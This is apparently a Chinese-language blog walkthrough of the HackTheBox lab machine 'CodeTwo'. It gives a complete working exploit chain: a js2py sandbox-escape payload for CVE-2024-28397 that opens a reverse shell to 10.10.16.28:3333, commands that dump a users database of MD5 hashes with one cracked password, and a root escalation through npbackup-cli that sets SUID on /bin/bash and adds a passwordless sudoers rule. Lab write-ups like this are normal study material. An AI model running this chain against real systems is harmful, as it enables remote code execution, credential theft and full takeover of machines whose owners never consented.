Skip to main content

CodeTwo靶机-HTB

·157 words·1 min
IIIIIIIIIIII
Author
IIIIIIIIIIII
A little bit about you
Table of Contents

CodeTwo靶机-HTB
#

1

扫描发现了8000端口可以下载源码并执行JS命令
下载分析这是一个flask框架使用js2py来执行JS代码并且使用的sqlite数据库方便快捷
SQLite3 本身不提供密码保护机制,它只是一个单文件数据库,数据存储在 .db文件里(如 users.db)。

js2py的某个全局变量存在一个漏洞,攻击者可以使用这个漏洞在js代码中获得一个python对象的引用,使得攻击者可以逃逸js环境,在主机上执行任意命令。
CVE-2024-28397
let cmd = "bash -c 'bash -i >& /dev/tcp/10.10.16.28/3333 0>&1'";
let hacked, bymarve, n11;
let getattr, obj;
 
hacked = Object.getOwnPropertyNames({});
bymarve = hacked.__getattribute__;
n11 = bymarve("__getattribute__");
 
obj = n11("__class__").__base__;
getattr = obj.__getattribute__;
 
function findpopen(o) {
  let result;
  for (let i in o.__subclasses__()) {
    let item = o.__subclasses__()[i];
    if (item.__module__ == "subprocess" && item.__name__ == "Popen") {
      return item;
    }
    if (item.__name__ != "type" && (result = findpopen(item))) {
      return result;
    }
  }
}
 
findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
"OK";

1

反弹成功后sqlite一般在Instance下面我们使用sqlite3来查看数据库

1

sqlite3 /home/app/instance/users.db
.tables
code_snippet  user        
SELECT * FROM user;
1|marco|649c9d65a206a75f5abe509fe128bce5
2|app|a97588c0e2fa3a024876339e27aeb42e
3|123|202cb962ac59075b964b07152d234b70
MD5 分析
破解结果: sweetangelbabylove

1

登录上去发现可以使用npbackup-cli

npbackup-cli是一个基于 Restic 的备份工具
Restic 是一个开源、跨平台的备份工具,专注于安全、高效和易用性。它采用加密存储,支持增量备份,并可以存储数据到多种后端(如本地磁盘、SFTP、AWS S3、MinIO 等)。

marco@codetwo:~$ cat > /tmp/exploit.sh << 'EOF'
> #!/bin/bash
> # 设置SUID权限
> chmod +s /bin/bash
> # 或者直接添加sudo权限
> echo "marco ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
> EOF

sudo /usr/local/bin/npbackup-cli -c /home/marco/npbackup.conf   --external-backend-binary=/tmp/exploit.sh --backup

--external-backend-binary=/tmp/exploit.sh→ 让npbackup执行你的脚本
--backup /etc/passwd /tmp/→ 触发备份操作,使脚本被执行

1

Related

Docker-逃逸-LINux内核漏洞
·216 words·2 mins
Docker-逃逸-本身漏洞-CDK工具使用
·241 words·2 mins
Docker-逃逸-安全
·274 words·2 mins
云上服务-OSS存储桶渗透-AKSK两种利用特征
·272 words·2 mins
JWT渗透相关
·125 words·1 min